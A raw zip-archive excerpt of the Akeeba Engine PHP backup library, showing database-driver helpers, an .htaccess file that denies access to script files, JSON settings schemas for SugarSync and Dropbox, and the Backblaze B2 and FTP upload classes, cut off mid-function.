	 * Method to fetch a row from the result set cursor as an object.
	 *
	 * @param   mixed   $cursor  The optional result set cursor from which to fetch the row.
	 * @param   string  $class   The class name to use for the returned row object.
	 *
	 * @return  mixed   Either the next row from the result set or false if there are no more rows.
	 */
	abstract protected function fetchObject($cursor = null, $class = 'stdClass');

	/**
	 * Return the query string to alter the database character set.
	 *
	 * @param   string  $dbName  The database name
	 *
	 * @return  string  The query that alter the database query string
	 */
	protected function getAlterDbCharacterSet($dbName)
	{
		$query = 'ALTER DATABASE ' . $this->quoteName($dbName) . ' CHARACTER SET `utf8`';

		return $query;
	}

	/**
	 * Return the query string to create new Database.
	 * Each database driver, other than MySQL, need to override this member to return correct string.
	 *
	 * @param   object   $options         Object used to pass user and database name to database driver.
	 *                                    This object must have "db_name" and "db_user" set.
	 * @param   boolean  $utf             True if the database supports the UTF-8 character set.
	 *
	 * @return  string  The query that creates database
	 */
	protected function getCreateDatabaseQuery($options, $utf)
	{
		if ($utf)
		{
			$query = 'CREATE DATABASE ' . $this->quoteName($options->db_name) . ' CHARACTER SET `utf8`';
		}
		else
		{
			$query = 'CREATE DATABASE ' . $this->quoteName($options->db_name);
		}

		return $query;
	}

	/**
	 * Gets the name of the database used by this connection.
	 *
	 * @return  string
	 */
	protected function getDatabase()
	{
		return $this->_database;
	}

	/**
	 * Quote strings coming from quoteName call.
	 *
	 * @param   array  $strArr  Array of strings coming from quoteName dot-explosion.
	 *
	 * @return  string  Dot-imploded string of quoted parts.
	 */
	protected function quoteNameStr($strArr)
	{
		$parts = [];
		$q     = $this->nameQuote;

		foreach ($strArr as $part)
		{
			if (is_null($part))
			{
				continue;
			}

			if (strlen($q) == 1)
			{
				// MySQL: Escape a backtick as two backticks
				if (strpos($part, $q) !== false)
				{
					$part = str_replace($q, $q . $q, $part);
				}

				$parts[] = $q . $part . $q;
			}
			else
			{
				// SQL Server: Escape a closing square bracket as two closing square brackets
				if (strpos($part, $q[1]) !== false)
				{
					$part = str_replace($q[1], $q[1] . $q[1], $part);
				}

				$parts[] = $q[0] . $part . $q[1];
			}
		}

		return implode('.', $parts);
	}
}
PK     \Sʉ      ,  vendor/akeeba/engine/engine/Driver/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \o    3  vendor/akeeba/engine/engine/Postproc/sugarsync.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_SUGARSYNC_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_SUGARSYNC_DESCRIPTION"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.sugarsync.access": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_SUGARSYNC_ACCESS_TITLE",
        "description": "COM_AKEEBA_CONFIG_SUGARSYNC_ACCESS_DESCRIPTION"
    },
    "engine.postproc.sugarsync.private": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_SUGARSYNC_PRIVATE_TITLE",
        "description": "COM_AKEEBA_CONFIG_SUGARSYNC_PRIVATE_DESCRIPTION"
    },
    "engine.postproc.sugarsync.email": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_SUGARSYNC_EMAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_SUGARSYNC_EMAIL_DESCRIPTION"
    },
    "engine.postproc.sugarsync.password": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBA_CONFIG_SUGARSYNC_PASSWORD_TITLE",
        "description": "COM_AKEEBA_CONFIG_SUGARSYNC_PASSWORD_DESCRIPTION"
    },
    "engine.postproc.sugarsync.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_SUGARSYNC_DIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_SUGARSYNC_DIRECTORY_DESCRIPTION"
    }
}PK     \)    2  vendor/akeeba/engine/engine/Postproc/dropbox2.jsonnu [        {
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_DROPBOX2_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_POSTPROC_DROPBOX2_DESCRIPTION"
    },
    "engine.postproc.dropbox2.oauth2_type": {
        "default": "akeeba",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_TYPE_OPT_AKEEBA|COM_AKEEBA_CONFIG_COMMON_OAUTH2_TYPE_OPT_CUSTOM",
        "enumvalues": "akeeba|custom",
        "title": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_TYPE_TITLE",
        "description": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_TYPE_DESCRIPTION"
    },
    "engine.postproc.dropbox2.oauth2_helper": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_HELPER_TITLE",
        "description": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_HELPER_DESCRIPTION",
        "showon": "engine.postproc.dropbox2.oauth2_type:custom"
    },
    "engine.postproc.dropbox2.oauth2_refresh": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_REFRESH_TITLE",
        "description": "COM_AKEEBA_CONFIG_COMMON_OAUTH2_REFRESH_DESCRIPTION",
        "showon": "engine.postproc.dropbox2.oauth2_type:custom"
    },
    "engine.postproc.common.after_part": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROCPARTS_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROCPARTS_DESCRIPTION"
    },
    "engine.postproc.common.abort_on_fail": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE",
        "description": "COM_AKEEBA_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION"
    },
    "engine.postproc.common.delete_after": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DELETEAFTER_TITLE",
        "description": "COM_AKEEBA_CONFIG_DELETEAFTER_DESCRIPTION"
    },
    "engine.postproc.dropbox2.chunk_upload": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_ENABLE"
    },
    "engine.postproc.dropbox2.chunk_upload_size": {
        "default": "20",
        "type": "integer",
        "min": "5",
        "max": "100",
        "shortcuts": "5|10|20|40|60|80",
        "scale": "1",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_BOX_CHUNKUPLOAD_SIZE",
        "showon": "engine.postproc.dropbox2.chunk_upload:1"
    },
    "engine.postproc.dropbox2.openoauth": {
        "default": "",
        "type": "button",
        "title": "COM_AKEEBA_CONFIG_BOX_OPENOAUTH_TITLE",
        "description": "COM_AKEEBA_CONFIG_BOX_OPENOAUTH_DESC",
        "hook": "akconfig_dropbox2_openoauth"
    },
    "engine.postproc.dropbox2.team": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_DROPBOX_TEAM_TITLE",
        "description": "COM_AKEEBA_CONFIG_DROPBOX_TEAM_DESC"
    },
    "engine.postproc.dropbox2.directory": {
        "default": "\/",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DROPBOXDIRECTORY_TITLE",
        "description": "COM_AKEEBA_CONFIG_DROPBOXDIRECTORY_DESCRIPTION"
    },
    "engine.postproc.dropbox2.access_token": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DROPBOXTOKEN_TITLE",
        "description": "COM_AKEEBA_CONFIG_DROPBOXTOKEN_DESCRIPTION"
    },
    "engine.postproc.dropbox2.refresh_token": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_DROPBOXREFRESHTOKEN_TITLE",
        "description": "COM_AKEEBA_CONFIG_DROPBOXREFRESHTOKEN_DESCRIPTION"
    }
}PK     \xEJ  J  2  vendor/akeeba/engine/engine/Postproc/Backblaze.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Postproc\Connector\Backblaze as ConnectorBackblaze;
use Akeeba\Engine\Postproc\Connector\Backblaze\Exception\Base as BackblazeBaseException;
use Akeeba\Engine\Postproc\Connector\Backblaze\Exception\UnexpectedHTTPStatus;
use Akeeba\Engine\Postproc\Exception\BadConfiguration;
use Exception;
use OutOfBoundsException;
use RuntimeException;

/**
 * Upload to Backblaze post-processing engine for Akeeba Engine
 */
class Backblaze extends Base
{
	/**
	 * The upload ID of the multipart upload in progress
	 *
	 * @var   null|string
	 */
	protected $fileId = null;

	/**
	 * The Upload URL structure returned by Backblaze, required in multipart uplaods
	 *
	 * @var   ConnectorBackblaze\UploadURL
	 */
	protected $uploadUrl = null;

	/**
	 * The part number for the multipart upload in progress
	 *
	 * @var null|int
	 */
	protected $partNumber = null;

	/**
	 * The SHA-1 checksums of the uploaded chunks, used to finalise the multipart upload
	 *
	 * @var  array
	 */
	protected $sha1Parts = [];

	/**
	 * Used in log messages.
	 *
	 * @var  string
	 */
	protected $engineLogName = 'BackBlaze B2';

	/**
	 * The prefix to use for volatile key storage
	 *
	 * @var  string
	 */
	protected $volatileKeyPrefix = 'volatile.postproc.backblaze.';

	/**
	 * The ID of the bucket specified in the engine configuration
	 *
	 * @var  string
	 */
	protected $bucketId = '';

	/**
	 * Initialise the class, setting its capabilities
	 */
	public function __construct()
	{
		$this->supportsDelete            = true;
		$this->supportsDownloadToBrowser = true;
		$this->supportsDownloadToFile    = true;
	}

	public function processPart($localFilepath, $remoteBaseName = null)
	{
		// Retrieve engine configuration data
		$akeebaConfig = Factory::getConfiguration();

		// Load multipart information from temporary storage
		$this->fileId    = $akeebaConfig->get($this->volatileKeyPrefix . 'fileId', null);
		$this->uploadUrl = new ConnectorBackblaze\UploadURL($akeebaConfig->get($this->volatileKeyPrefix . 'uploadUrl', []));

		// Get the configuration parameters
		$engineConfig     = $this->getEngineConfiguration();
		$disableMultipart = $engineConfig['disableMultipart'];

		// The directory is a special case. First try getting a cached directory
		$directory        = $akeebaConfig->get('volatile.postproc.directory', null);
		$processDirectory = false;

		// If there is no cached directory, fetch it from the engine configuration
		if (is_null($directory))
		{
			$directory        = $engineConfig['directory'];
			$processDirectory = true;
		}

		// The very first time we deal with the directory we need to process it.
		if ($processDirectory)
		{
			$directory = empty($directory) ? '' : $directory;
			$directory = str_replace('\\', '/', $directory);
			$directory = rtrim($directory, '/');
			$directory = trim($directory);
			$directory = ltrim(Factory::getFilesystemTools()->TranslateWinPath($directory), '/');
			$directory = Factory::getFilesystemTools()->replace_archive_name_variables($directory);

			// Store the parsed directory in temporary storage
			$akeebaConfig->set('volatile.postproc.directory', $directory);
		}

		/**
		 * Get the file size and disable multipart uploads for files smaller than 5Mb or the configured chunk size,
		 * whichever is bigger.
		 */
		$fileSize = @filesize($localFilepath);
		$partSize = max($this->getPartSizeForFile($localFilepath), 5242880);

		if ($fileSize <= $partSize)
		{
			$disableMultipart = true;
		}

		// Calculate relative remote filename
		$remoteKey = empty($remoteBaseName) ? basename($localFilepath) : $remoteBaseName;

		if (!empty($directory) && ($directory != '/'))
		{
			$remoteKey = $directory . '/' . $remoteKey;
		}

		// Store the absolute remote path in the class property
		$this->remotePath = $remoteKey;

		/** @var ConnectorBackblaze $connector */
		$connector = $this->getConnector();
		$bucketId  = $this->getBucketId();

		// Are we already processing a multipart upload or asked to perform a multipart upload?
		if (!empty($this->fileId) || !$disableMultipart)
		{
			$this->partNumber = $akeebaConfig->get($this->volatileKeyPrefix . 'partNumber', null);
			$this->sha1Parts  = $akeebaConfig->get($this->volatileKeyPrefix . 'sha1Parts', '[]');
			$this->sha1Parts  = json_decode($this->sha1Parts, true);
			$this->sha1Parts  = empty($this->sha1Parts) ? [] : $this->sha1Parts;

			return $this->multipartUpload($bucketId, $remoteKey, $localFilepath, $connector);
		}

		return $this->simpleUpload($bucketId, $remoteKey, $localFilepath, $connector);
	}

	public function delete($path)
	{
		/** @var ConnectorBackblaze $connector */
		$connector = $this->getConnector();
		$bucketId  = $this->getBucketId();
		$connector->deleteByFileName($bucketId, $path);
	}

	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null)
	{
		/** @var ConnectorBackblaze $connector */
		$connector    = $this->getConnector();
		$engineConfig = $this->getEngineConfiguration();
		$bucket       = $engineConfig['bucket'];
		$bucket       = str_replace('/', '', $bucket);
		$headers      = [];

		if (!is_null($fromOffset) && $length)
		{
			$toOffset  = $fromOffset + $length - 1;
			$headers[] = 'Range: bytes=' . $fromOffset . '-' . $toOffset;
		}

		$connector->downloadFile($bucket, $remotePath, $localFile, $headers);
	}

	public function downloadToBrowser($remotePath)
	{
		/** @var ConnectorBackblaze $connector */
		$connector    = $this->getConnector();
		$engineConfig = $this->getEngineConfiguration();
		$bucket       = $engineConfig['bucket'];
		$bucket       = str_replace('/', '', $bucket);

		return $connector->getSignedUrl($bucket, $remotePath, 30);
	}

	protected function makeConnector()
	{
		// Retrieve engine configuration data
		$config = $this->getEngineConfiguration();

		// Get the configuration parameters
		$accountId      = $config['accountId'];
		$applicationKey = $config['applicationKey'];
		$bucket         = $config['bucket'];

		// Remove any slashes from the bucket
		$bucket = str_replace('/', '', $bucket);

		// Sanity checks
		if (empty($accountId))
		{
			throw new BadConfiguration('You have not set up your ' . $this->engineLogName . ' Account ID');
		}

		if (empty($applicationKey))
		{
			throw new BadConfiguration('You have not set up your ' . $this->engineLogName . ' Application Key');
		}

		if (!function_exists('curl_init'))
		{
			throw new BadConfiguration('cURL is not enabled, please enable it in order to post-process your archives');
		}

		if (empty($bucket))
		{
			throw new BadConfiguration('You have not set up your ' . $this->engineLogName . ' Bucket');
		}

		// Create the API connector instance
		return new ConnectorBackblaze($accountId, $applicationKey);
	}

	/**
	 * Start a multipart upload
	 *
	 * @param   string              $bucketId    The bucket ID to upload to
	 * @param   string              $remoteKey   The remote filename
	 * @param   string              $sourceFile  The full path to the local source file
	 * @param   ConnectorBackblaze  $connector   The S3 client object instance
	 *
	 * @return  bool  True when we're done uploading, false if we have more parts
	 *
	 * @throws  Exception  When an error occurs
	 */
	private function multipartUpload($bucketId, $remoteKey, $sourceFile, ConnectorBackblaze $connector)
	{
		if (empty($this->fileId))
		{
			Factory::getLog()->debug(sprintf(
				"%s -- Beginning multipart upload of %s", $this->engineLogName, $sourceFile
			));

			// Initialise the multipart upload if necessary
			try
			{
				$fileInfo     = $connector->startUpload($bucketId, $remoteKey);
				$this->fileId = $fileInfo->fileId;

				Factory::getLog()->debug(sprintf(
					"%s -- Got fileID %s", $this->engineLogName, $this->fileId
				));

				$this->uploadUrl  = $connector->getPartUploadUrl($this->fileId);
				$this->partNumber = 1;
				$this->sha1Parts  = [];

				Factory::getLog()->debug(sprintf(
					"%s -- Got uploadURL %s - Upload Authorization %s",
					$this->engineLogName, $this->uploadUrl->uploadUrl, $this->uploadUrl->authorizationToken
				));
			}
			catch (Exception $e)
			{
				Factory::getLog()->debug(sprintf(
					"%s -- Failed to initialize multipart upload of %s", $this->engineLogName, $sourceFile
				));

				throw new RuntimeException('Multipart upload cannot be initialised.', 500, $e);
			}
		}
		else
		{
			Factory::getLog()
				->debug(sprintf(
					"%s -- Continuing multipart upload of %s (fileId: %s –– Part number %d)",
					$this->engineLogName, $sourceFile, $this->fileId, $this->partNumber
				));
		}

		// Upload a chunk
		$mustFinalize = false;

		try
		{
			$partSize          = $this->getPartSizeForFile($sourceFile);
			$fileInfo          = $connector->uploadPart($this->uploadUrl, $sourceFile, $this->partNumber, $partSize);
			$this->sha1Parts[] = $fileInfo->contentSha1;
			$this->partNumber++;
		}
		catch (UnexpectedHTTPStatus $e)
		{
			/**
			 * If we get an HTTP 500 or 503 it means that the BackBlaze B2 storage pod is full. In this case B2 tells us
			 * to request a new upload URL (which will be in another pod) and retry the upload. Rinse and repeat until
			 * the upload completes.
			 *
			 * Implementation:
			 *
			 * - If the unexpected HTTP status is not 500 or 503 I need to rethrow the exception. In this case something
			 *   actually went wrong and we need to stop.
			 * - I need to notify the user that no, the chunk did not upload.
			 * - I DO NOT need to roll back the current chunk number or remove its stored SHA1 from the cache. Remember,
			 *   we failed at $connector->uploadPart which comes BEFORE we modify $this->sha1Parts and $this->partNumber
			 * - I do need to get a new upload URL with the stored file ID.
			 * - I need to return false, indicating we have more work to do here.
			 */
			if (!in_array($e->getCode(), [500, 503]))
			{
				throw $e;
			}

			Factory::getLog()
				->debug(sprintf(
					"%s -- BackBlaze B2 storage pod full (BackBlaze B2 returned HTTP %u). Getting new part upload URL. The upload will resume later.",
					$this->engineLogName, $e->getCode()
				));

			// Get a new upload URL
			$this->uploadUrl = $connector->getPartUploadUrl($this->fileId);

			return false;
		}
		catch (OutOfBoundsException $e)
		{
			$mustFinalize = true;
		}
		catch (Exception $e)
		{
			Factory::getLog()->debug(sprintf(
				"%s -- Multipart upload of %s has failed.", $this->engineLogName, $sourceFile
			));

			// Reset the multipart markers in temporary storage
			$akeebaConfig = Factory::getConfiguration();
			$akeebaConfig->set($this->volatileKeyPrefix . 'fileId', null);
			$akeebaConfig->set($this->volatileKeyPrefix . 'uploadUrl', null);
			$akeebaConfig->set($this->volatileKeyPrefix . 'partNumber', null);
			$akeebaConfig->set($this->volatileKeyPrefix . 'sha1Parts', null);

			throw new RuntimeException(sprintf(
				"Upload cannot proceed. %s returned an error.", $this->engineLogName
			), 500, $e);
		}

		// When we are done uploading we have to finalize
		if ($mustFinalize)
		{
			$count = count($this->sha1Parts);

			Factory::getLog()->debug(sprintf(
				"%s -- Finalising multipart upload of %s (fileId: %s –– %s parts in total)",
				$this->engineLogName, $sourceFile, $this->fileId, $count
			));

			$fileInfo = $connector->finishUpload($this->fileId, $this->sha1Parts);

			Factory::getLog()->debug(sprintf(
				"%s -- Finalised multipart upload of %s (fileId: %s)",
				$this->engineLogName, $sourceFile, $fileInfo->fileId
			));

			$this->fileId     = null;
			$this->uploadUrl  = null;
			$this->partNumber = null;
			$this->sha1Parts  = [];
		}

		// Save the internal tracking variables
		$akeebaConfig     = Factory::getConfiguration();
		$uploadURLAsArray = is_null($this->uploadUrl) ? [] : $this->uploadUrl->toArray();

		$akeebaConfig->set($this->volatileKeyPrefix . 'fileId', $this->fileId);
		$akeebaConfig->set($this->volatileKeyPrefix . 'uploadUrl', $uploadURLAsArray);
		$akeebaConfig->set($this->volatileKeyPrefix . 'partNumber', $this->partNumber);
		$akeebaConfig->set($this->volatileKeyPrefix . 'sha1Parts', json_encode($this->sha1Parts));

		// If I have an upload ID I have to do more work
		if (is_string($this->fileId) && !empty($this->fileId))
		{
			return false;
		}

		// In any other case I'm done uploading the file
		return true;
	}

	/**
	 * Perform a single-step upload of a file
	 *
	 * @param   string              $bucketId    The bucket ID to upload to
	 * @param   string              $remoteKey   The remote filename
	 * @param   string              $sourceFile  The full path to the local source file
	 * @param   ConnectorBackblaze  $connector   The S3 client object instance
	 *
	 * @return  bool  True when we're done uploading, false if we have more parts
	 *
	 * @throws  Exception  When an error occurs
	 */
	private function simpleUpload($bucketId, $remoteKey, $sourceFile, ConnectorBackblaze $connector)
	{
		Factory::getLog()->debug(sprintf(
			"%s -- Single part upload of %s", $this->engineLogName, basename($sourceFile)
		));

		$tries = 0;

		while (true)
		{
			$tries++;

			try
			{
				$connector->uploadSingleFile($bucketId, $remoteKey, $sourceFile);
			}
			catch (UnexpectedHTTPStatus $e)
			{
				/**
				 * If we get an HTTP 500 or 503 it means that the BackBlaze B2 storage pod is full. In this case B2 tells us
				 * to request a new upload URL (which will be in another pod) and retry the upload. Rinse and repeat until
				 * the upload completes.
				 *
				 * Implementation:
				 *
				 * - If this is the third try we give up (rethrow the exception). Something is actually wrong with B2.
				 * - If the unexpected HTTP status is not 500 or 503 I need to rethrow the exception. In this case
				 *   something actually went wrong and we need to stop.
				 * - I need to notify the user that no, the chunk did not upload.
				 * - I DO NOT need to roll back the current chunk number or remove its stored SHA1 from the cache. Remember,
				 *   we failed at $connector->uploadPart which comes BEFORE we modify $this->sha1Parts and $this->partNumber
				 * - I do need to get a new upload URL with the stored file ID.
				 * - I need to return false, indicating we have more work to do here.
				 */
				if (($tries >= 3) || !in_array($e->getCode(), [500, 503]))
				{
					throw $e;
				}

				Factory::getLog()
					->debug(sprintf(
						"%s -- BackBlaze B2 storage pod full (BackBlaze B2 returned HTTP %u). Retrying upload (attempt %d of a maximum of 2).",
						$this->engineLogName, $e->getCode(), $tries
					));

				continue;
			}

			break;
		}

		return true;
	}

	/**
	 * Get the configuration information for this post-processing engine
	 *
	 * @return  array
	 */
	private function getEngineConfiguration()
	{
		$akeebaConfig = Factory::getConfiguration();

		return [
			'accountId'        => $akeebaConfig->get('engine.postproc.backblaze.accountId', ''),
			'applicationKey'   => $akeebaConfig->get('engine.postproc.backblaze.applicationKey', ''),
			'disableMultipart' => $akeebaConfig->get('engine.postproc.backblaze.disableMultipart', 0),
			'bucket'           => $akeebaConfig->get('engine.postproc.backblaze.bucket', null),
			'directory'        => $akeebaConfig->get('engine.postproc.backblaze.directory', null),
			'chunkInMB'        => $akeebaConfig->get('engine.postproc.backblaze.chunk_upload_size', null),
		];
	}

	/**
	 * Get the bucket ID, fetching it from BackBlaze if it's not already populated
	 *
	 * @return  string  The bucket ID
	 *
	 * @throws  BackblazeBaseException  When fetching the bucket ID is impossible
	 * @throws  Exception  When we cannot get a connector object
	 */
	private function getBucketId()
	{
		if (!empty($this->bucketId))
		{
			return $this->bucketId;
		}

		$akeebaConfig   = Factory::getConfiguration();
		$engineConfig   = $this->getEngineConfiguration();
		$bucket         = $engineConfig['bucket'];
		$bucket         = str_replace('/', '', $bucket);
		$connector      = $this->getConnector();
		$this->bucketId = $connector->getBucketId($bucket);
		$akeebaConfig->set($this->volatileKeyPrefix . 'bucketId', $this->bucketId);

		return $this->bucketId;
	}

	/**
	 * Get the applicable part size for a given file. The part size cannot be smaller than the absolute minimum part
	 * size reported by Backblaze (typically 5MB). It also cannot be smaller than the file size divided by 10,000 as
	 * Backblaze will only allow us to upload up to 10,000 parts. This algorithm will try to use the user selected
	 * part size unless it is smaller than these hard requirements.
	 *
	 * Finally note that the part size is cached in volatile storage so that subsequent queries about it will not result
	 * in a performance penalty.
	 *
	 * @param   string  $sourceFile  The local file we want to figure out the part size for
	 *
	 * @return  int
	 *
	 * @throws  Exception  If getting the connector object is not possible
	 */
	private function getPartSizeForFile($sourceFile)
	{
		$akeebaConfig    = Factory::getConfiguration();
		$savedSourceFile = $akeebaConfig->get($this->volatileKeyPrefix . 'partSizeFile', null);
		$savedPartSize   = $akeebaConfig->get($this->volatileKeyPrefix . 'partSizeValue', null);

		if ($savedSourceFile == $sourceFile)
		{
			return $savedPartSize;
		}

		// Get the part size. Must be <= 100 MB
		$engineConfig = $this->getEngineConfiguration();
		$connector    = $this->getConnector();
		$minPartSize  = $connector->getAccountInformation()->absoluteMinimumPartSize;
		$partSize     = min($engineConfig['chunkInMB'], 100);
		$partSize     = $partSize * 1024 * 1024;
		$partSize     = max($minPartSize, $partSize);

		clearstatcache(false, $sourceFile);
		$fileSize = @filesize($sourceFile);

		/**
		 * Backblaze supports up to 10000 parts. We have to try increasing the part size until we're sure our  file
		 * will upload in a number of parts that's less than that.
		 */
		while ($fileSize / $partSize > 10000)
		{
			// Increase by 5M in each step
			$partSize += 5242880;
		}

		$akeebaConfig->set($this->volatileKeyPrefix . 'partSizeFile', $sourceFile);
		$akeebaConfig->set($this->volatileKeyPrefix . 'partSizeValue', $partSize);

		return $partSize;
	}
}
PK     \l    ,  vendor/akeeba/engine/engine/Postproc/Ftp.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Postproc\Exception\RangeDownloadNotSupported;
use Akeeba\Engine\Util\Transfer\Ftp as TransferFtp;
use Exception;
use RuntimeException;

class Ftp extends Base
{
	protected $engineKey = 'engine.postproc.ftp.';

	public function __construct()
	{
		$this->supportsDelete            = true;
		$this->supportsDownloadToBrowser = true;
		$this->supportsDownloadToFile    = true;
	}

	public function processPart($localFilepath, $remoteBaseName = null)
	{
		/** @var TransferFtp $connector */
		$connector        = $this->getConnector();
		$config           = $this->getConfig();
		$subDirectory     = $config['subdir'];
		$initialDirectory = $config['directory'];

		// If supplied, change to the subdirectory
		if ($subDirectory)
		{
			$subDirectory = trim(Factory::getFilesystemTools()->replace_archive_name_variables($subDirectory), '/');

			if (!$connector->isDir($initialDirectory . '/' . $subDirectory))
			{
				// Got an error? This means that the directory doesn't exist, let's try to create it
				if (!$connector->mkdir($initialDirectory . '/' . $subDirectory))
				{
					// Ok, I really can't do anything, let's stop here
					throw new RuntimeException(sprintf(
						"Could not create the subdirectory %s in the remote FTP server", $subDirectory
					));
				}

				// Let's move into the new directory
				if (!$connector->isDir($initialDirectory . '/' . $subDirectory))
				{
					// This should never happen, anyway better be safe than sorry
					throw new RuntimeException(sprintf(
						"Could not move into the subdirectory %s in the remote FTP server", $subDirectory
					));
				}
			}
		}

		Factory::getLog()->debug(sprintf("%s:: Starting FTP upload of $localFilepath", __CLASS__));

		$absoluteRemoteDirectory = $initialDirectory;

		if (substr($initialDirectory, -1) == '/')
		{
			$absoluteRemoteDirectory = substr($initialDirectory, 0, strlen($initialDirectory) - 1);
		}

		if (!empty($subDirectory))
		{
			$absoluteRemoteDirectory .= '/' . $subDirectory;
		}

		$basename               = empty($remoteBaseName) ? basename($localFilepath) : $remoteBaseName;
		$absoluteRemoteFilepath = $absoluteRemoteDirectory . '/' . $basename;
		$this->remotePath       = $absoluteRemoteFilepath;
		$res                    = $connector->upload($localFilepath, $absoluteRemoteFilepath);

		if (!$res)
		{
			if (is_readable($localFilepath))
			{
				throw new RuntimeException(sprintf("Uploading %s has failed.", $localFilepath));
			}

			throw new RuntimeException(sprintf("Uploading %s has failed because the file is unreadable.", $localFilepath));
		}

		return true;
	}

	public function delete($path)
	{
		/** @var TransferFtp $connector */
		$connector = $this->getConnector();

		try
		{
			$connector->delete($path);
		}
		catch (Exception $e)
		{
			throw new RuntimeException(sprintf('Deleting %s failed.', $path), 500, $e);
		}
	}

	public function downloadToFile($remotePath, $localFile, $fromOffset = null, $length = null)
	{
		if (!is_null($fromOffset))
		{
			throw new RangeDownloadNotSupported();
		}

		/** @var TransferFtp $connector */
		$connector = $this->getConnector();

		$connector->download($remotePath, $localFile);
	}

	public function downloadToBrowser($remotePath)
	{
		$config = $this->getConfig();

		$host = $config['host'];
		$port = $config['port'];
		$user = $config['username'];
		$pass = $config['password'];
		$ssl  = $config['ssl'];
		$uri  = $ssl ? 'ftps://' : 'ftp://';

		if ($user && $pass)
		{
			$uri .= urlencode($user) . ':' . urlencode($pass) . '@';
		}

		$uri .= $host;

		if ($port && ($port != 21))
		{
			$uri .= ':' . $port;
		}

		if (substr($remotePath, 0, 1) != '/')
		{
			$uri .= '/';
		}

		$uri .= $remotePath;

		return $uri;
	}

	/**
	 * Return the engine configuration
	 *
	 * @return array
	 */
	protected function getConfig()
	{
		// Retrieve engine configuration data
		$config = Factory::getConfiguration();

		$host             = $config->get($this->engineKey . 'host', '');
		$port             = $config->get($this->engineKey . 'port', 21);
		$username         = $config->get($this->engineKey . 'user', '');
		$password         = $config->get($this->engineKey . 'pass', 0);
		$defaultDirectory = $config->get($this->engineKey . 'initial_directory', '');
